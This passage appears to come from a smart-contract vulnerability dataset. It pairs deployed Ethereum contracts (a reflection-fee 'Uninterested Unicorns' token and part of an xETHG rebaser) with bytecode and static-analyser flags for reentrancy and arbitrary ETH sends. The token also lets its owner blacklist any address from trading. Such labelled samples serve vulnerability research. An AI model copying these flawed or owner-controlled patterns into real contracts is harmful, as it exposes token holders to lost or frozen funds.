86866116c2565b939b939a50919850919650505050505050565b60008261188557506000610642565b60006118918385611d62565b90508261189e8583611d40565b146112c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bc565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461078c57600080fd5b803561192b8161190b565b919050565b6000602080838503121561194357600080fd5b823567ffffffffffffffff8082111561195b57600080fd5b818501915085601f83011261196f57600080fd5b813581811115611981576119816118f5565b8060051b604051601f19603f830116810181811085821117156119a6576119a66118f5565b6040529182528482019250838101850191888311156119c457600080fd5b938501935b828510156119e9576119da85611920565b845293850193928501926119c9565b98975050505050505050565b600060208083528351808285015260005b81811015611a2257858101830151858201604001528201611a06565b81811115611a34576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5d57600080fd5b8235611a688161190b565b946020939093013593505050565b600080600060608486031215611a8b57600080fd5b8335611a968161190b565b92506020840135611aa68161190b565b929592945050506040919091013590565b600060208284031215611ac957600080fd5b81356112c08161190b565b8035801515811461192b57600080fd5b600060208284031215611af657600080fd5b6112c082611ad4565b600060208284031215611b1157600080fd5b5035919050565b60008060008060808587031215611b2e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5f57600080fd5b833567ffffffffffffffff80821115611b7757600080fd5b818601915086601f830112611b8b57600080fd5b813581811115611b9a57600080fd5b8760208260051b8501011115611baf57600080fd5b602092830195509350611bc59186019050611ad4565b90509250925092565b60008060408385031215611be157600080fd5b8235611bec8161190b565b91506020830135611bfc8161190b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7c57611c7c611c52565b5060010190565b60008219821115611c9657611c96611c52565b500190565b600082821015611cad57611cad611c52565b500390565b600060208284031215611cc457600080fd5b81516112c08161190b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1f5784516001600160a01b031683529383019391830191600101611cfa565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7c57611d7c611c52565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122050e459e87e5dcee47311ba865a84eb65a951541b0ad10ca6fe10dd7a0c1a395d64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,850
0xc5a5aecd4bfdd30c2cbc9cd6b87cfc8007468dda
/* Built and deployed using FTP Deployer, a service of Fair Token Project. Deploy your own token today at https://app.fairtokenproject.com#deploy UninterestedUnicorns Socials: Telegram: https://t.me/UninterestedUnicorns Twitter: https://twitter.com/u_unicornsnft Website: https://www.uunicorns.io OpenSea: https://opensea.io/collection/ununicornsofficial ** Secured With FTPAntibot ** Fair Token Project is not responsible for the actions of users of this service. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Unicorns is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Uninterested Unicorns"; string private constant _symbol = "UNICORNS"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 4; uint256 private _teamFee = 4; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 4; _teamFee = 4; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102e3578063a9059cbb14610314578063c3c8cd8014610334578063d543dbeb14610349578063dd62ed3e1461036957600080fd5b80636fc3eaec1461027157806370a0823114610286578063715018a6146102a65780638da5cb5b146102bb57600080fd5b806323b872dd116100dc57806323b872dd146101e0578063293230b814610200578063313ce567146102155780635932ead1146102315780636b9990531461025157600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461018a57806318160ddd146101ba57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118b9565b6103af565b005b34801561014657600080fd5b50604080518082019091526015815274556e696e746572657374656420556e69636f726e7360581b60208201525b60405161018191906119fd565b60405180910390f35b34801561019657600080fd5b506101aa6101a536600461188e565b61045c565b6040519015158152602001610181565b3480156101c657600080fd5b50683635c9adc5dea000005b604051908152602001610181565b3480156101ec57600080fd5b506101aa6101fb36600461184e565b610473565b34801561020c57600080fd5b506101386104dc565b34801561022157600080fd5b5060405160098152602001610181565b34801561023d57600080fd5b5061013861024c366004611980565b61089f565b34801561025d57600080fd5b5061013861026c3660046117de565b6108e7565b34801561027d57600080fd5b50610138610932565b34801561029257600080fd5b506101d26102a13660046117de565b61095f565b3480156102b257600080fd5b50610138610981565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610181565b3480156102ef57600080fd5b50604080518082019091526008815267554e49434f524e5360c01b6020820152610174565b34801561032057600080fd5b506101aa61032f36600461188e565b6109f5565b34801561034057600080fd5b50610138610a02565b34801561035557600080fd5b506101386103643660046119b8565b610a38565b34801561037557600080fd5b506101d2610384366004611816565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103e25760405162461bcd60e51b81526004016103d990611a50565b60405180910390fd5b60005b8151811015610458576001600a600084848151811061041457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061045081611b63565b9150506103e5565b5050565b6000610469338484610b0b565b5060015b92915050565b6000610480848484610c2f565b6104d284336104cd85604051806060016040528060288152602001611bce602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611041565b610b0b565b5060019392505050565b6000546001600160a01b031633146105065760405162461bcd60e51b81526004016103d990611a50565b600f54600160a01b900460ff16156105605760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103d9565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561059d3082683635c9adc5dea00000610b0b565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d657600080fd5b505afa1580156105ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060e91906117fa565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561065657600080fd5b505afa15801561066a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068e91906117fa565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106d657600080fd5b505af11580156106ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070e91906117fa565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061073e8161095f565b6000806107536000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107b657600080fd5b505af11580156107ca573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107ef91906119d0565b5050600f8054683635c9adc5dea0000060105563ffff00ff60a01b1981166201000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561086757600080fd5b505af115801561087b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610458919061199c565b6000546001600160a01b031633146108c95760405162461bcd60e51b81526004016103d990611a50565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109115760405162461bcd60e51b81526004016103d990611a50565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461095257600080fd5b4761095c8161107b565b50565b6001600160a01b03811660009081526002602052604081205461046d90611100565b6000546001600160a01b031633146109ab5760405162461bcd60e51b81526004016103d990611a50565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610469338484610c2f565b600c546001600160a01b0316336001600160a01b031614610a2257600080fd5b6000610a2d3061095f565b905061095c81611184565b6000546001600160a01b03163314610a625760405162461bcd60e51b81526004016103d990611a50565b60008111610ab25760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103d9565b610ad06064610aca683635c9adc5dea0000084611329565b906113a8565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b6d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d9565b6001600160a01b038216610bce5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c935760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d9565b6001600160a01b038216610cf55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d9565b60008111610d575760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d9565b6000546001600160a01b03848116911614801590610d8357506000546001600160a01b03838116911614155b15610fe457600f54600160b81b900460ff1615610e6a576001600160a01b0383163014801590610dbc57506001600160a01b0382163014155b8015610dd65750600e546001600160a01b03848116911614155b8015610df05750600e546001600160a01b03838116911614155b15610e6a57600e546001600160a01b0316336001600160a01b03161480610e2a5750600f546001600160a01b0316336001600160a01b0316145b610e6a5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103d9565b601054811115610e7957600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ebb57506001600160a01b0382166000908152600a602052604090205460ff16155b610ec457600080fd5b600f546001600160a01b038481169116148015610eef5750600e546001600160a01b03838116911614155b8015610f1457506001600160a01b03821660009081526005602052604090205460ff16155b8015610f295750600f54600160b81b900460ff165b15610f77576001600160a01b0382166000908152600b60205260409020544211610f5257600080fd5b610f5d42601e611af5565b6001600160a01b0383166000908152600b60205260409020555b6000610f823061095f565b600f54909150600160a81b900460ff16158015610fad5750600f546001600160a01b03858116911614155b8015610fc25750600f54600160b01b900460ff165b15610fe257610fd081611184565b478015610fe057610fe04761107b565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102657506001600160a01b03831660009081526005602052604090205460ff165b1561102f575060005b61103b848484846113ea565b50505050565b600081848411156110655760405162461bcd60e51b81526004016103d991906119fd565b5060006110728486611b4c565b95945050505050565b600c546001600160a01b03166108fc6110958360026113a8565b6040518115909202916000818181858888f193505050501580156110bd573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d88360026113a8565b6040518115909202916000818181858888f19350505050158015610458573d6000803e3d6000fd5b60006006548211156111675760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103d9565b6000611171611416565b905061117d83826113a8565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111da57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122e57600080fd5b505afa158015611242573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126691906117fa565b8160018151811061128757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112ad9130911684610b0b565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e6908590600090869030904290600401611a85565b600060405180830381600087803b15801561130057600080fd5b505af1158015611314573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113385750600061046d565b60006113448385611b2d565b9050826113518583611b0d565b1461117d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d9565b600061117d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611439565b806113f7576113f7611467565b61140284848461148a565b8061103b5761103b60046008819055600955565b6000806000611423611581565b909250905061143282826113a8565b9250505090565b6000818361145a5760405162461bcd60e51b81526004016103d991906119fd565b5060006110728486611b0d565b6008541580156114775750600954155b1561147e57565b60006008819055600955565b60008060008060008061149c876115c3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114ce9087611620565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114fd9086611662565b6001600160a01b03891660009081526002602052604090205561151f816116c1565b611529848361170b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156e91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159d82826113a8565b8210156115ba57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115e08a60085460095461172f565b92509250925060006115f0611416565b905060008060006116038e87878761177e565b919e509c509a509598509396509194505050505091939550919395565b600061117d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611041565b60008061166f8385611af5565b90508381101561117d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d9565b60006116cb611416565b905060006116d98383611329565b306000908152600260205260409020549091506116f69082611662565b30600090815260026020526040902055505050565b6006546117189083611620565b6006556007546117289082611662565b6007555050565b60008080806117436064610aca8989611329565b905060006117566064610aca8a89611329565b9050600061176e826117688b86611620565b90611620565b9992985090965090945050505050565b600080808061178d8886611329565b9050600061179b8887611329565b905060006117a98888611329565b905060006117bb826117688686611620565b939b939a50919850919650505050505050565b80356117d981611baa565b919050565b6000602082840312156117ef578081fd5b813561117d81611baa565b60006020828403121561180b578081fd5b815161117d81611baa565b60008060408385031215611828578081fd5b823561183381611baa565b9150602083013561184381611baa565b809150509250929050565b600080600060608486031215611862578081fd5b833561186d81611baa565b9250602084013561187d81611baa565b929592945050506040919091013590565b600080604083850312156118a0578182fd5b82356118ab81611baa565b946020939093013593505050565b600060208083850312156118cb578182fd5b823567ffffffffffffffff808211156118e2578384fd5b818501915085601f8301126118f5578384fd5b81358181111561190757611907611b94565b8060051b604051601f19603f8301168101818110858211171561192c5761192c611b94565b604052828152858101935084860182860187018a101561194a578788fd5b8795505b838610156119735761195f816117ce565b85526001959095019493860193860161194e565b5098975050505050505050565b600060208284031215611991578081fd5b813561117d81611bbf565b6000602082840312156119ad578081fd5b815161117d81611bbf565b6000602082840312156119c9578081fd5b5035919050565b6000806000606084860312156119e4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2957858101830151858201604001528201611a0d565b81811115611a3a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad45784516001600160a01b031683529383019391830191600101611aaf565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0857611b08611b7e565b500190565b600082611b2857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4757611b47611b7e565b500290565b600082821015611b5e57611b5e611b7e565b500390565b6000600019821415611b7757611b77611b7e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461095c57600080fd5b801515811461095c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203cea5cec51b64b1c8ec3030d2f1ef1ceebc025675ee0fb5594b33060b8a7abca64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,851
0x87491de2e8395b420eddfb4f266077c89798d63e
/** *Submitted for verification at Etherscan.io on 2020-12-14 */ // SPDX-License-Identifier: UNLICENSED /** * * ██╗ ██╗███████╗████████╗██╗ ██╗ * ╚██╗██╔╝██╔════╝╚══██╔══╝██║ ██║ * ╚███╔╝ █████╗ ██║ ███████║ * ██╔██╗ ██╔══╝ ██║ ██╔══██║ * ██╔╝ ██╗███████╗ ██║ ██║ ██║ * ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ * * An Ethereum pegged * base-down, burn-up currency. * * https://xEth.finance * * **/ pragma solidity 0.6.6; interface UniswapPairContract { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } interface xETHGTokenInterface { //Public functions function maxScalingFactor() external view returns (uint256); function xETHScalingFactor() external view returns (uint256); //rebase permissioned function setTxFee(uint16 fee) external ; function setSellFee(uint16 fee) external ; function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256); } contract xETHGRebaser { using SafeMath for uint256; modifier onlyGov() { require(msg.sender == gov); _; } /// @notice an event emitted when deviationThreshold is changed event NewDeviationThreshold(uint256 oldDeviationThreshold, uint256 newDeviationThreshold); /// @notice Governance address address public gov; /// @notice Spreads out getting to the target price uint256 public rebaseLag; /// @notice Peg target uint256 public targetRate; /// @notice Peg target uint public xValue; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. uint256 public deviationThreshold; /// @notice More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; /// @notice Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; /// @notice The rebase window begins this many seconds into the minRebaseTimeInterval period. // For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds. uint256 public rebaseWindowOffsetSec; /// @notice The length of the time window where a rebase operation is allowed to execute, in seconds. uint256 public rebaseWindowLengthSec; /// @notice The number of rebase cycles since inception uint256 public epoch; /// @notice delays rebasing activation to facilitate liquidity uint256 public constant rebaseDelay = 0; address public xETHAddress; address public uniswap_xeth_eth_pair; mapping(address => bool) public whitelistFrom; constructor( address xETHAddress_, address xEthEthPair_ ) public { minRebaseTimeIntervalSec = 1 days; rebaseWindowOffsetSec = 0; // 00:00 UTC rebases // Default Target Rate Set For 1 ETH targetRate = 10**18; // daily rebase, with targeting reaching peg rebaseLag = 10; // 5% deviationThreshold = 5 * 10**15; // 24 hours rebaseWindowLengthSec = 24 hours; uniswap_xeth_eth_pair = xEthEthPair_; xETHAddress = xETHAddress_; gov = msg.sender; } function setWhitelistedFrom(address _addr, bool _whitelisted) external onlyGov { whitelistFrom[_addr] = _whitelisted; } function _isWhitelisted(address _from) internal view returns (bool) { return whitelistFrom[_from]; } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is 1e18 */ function rebase() public { // EOA only require(msg.sender == tx.origin); require(_isWhitelisted(msg.sender)); // ensure rebasing at correct time _inRebaseWindow(); require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); // Snap the rebase time to the start of this window. lastRebaseTimestampSec = now; epoch = epoch.add(1); // get price from uniswap v2; uint256 exchangeRate = getPrice(); // calculates % change to supply (uint256 offPegPerc, bool positive) = computeOffPegPerc(exchangeRate); uint256 indexDelta = offPegPerc; // Apply the Dampening factor. indexDelta = indexDelta.div(rebaseLag); xETHGTokenInterface xETH = xETHGTokenInterface(xETHAddress); if (positive) { require(xETH.xETHScalingFactor().mul(uint256(10**18).add(indexDelta)).div(10**18) < xETH.maxScalingFactor(), "new 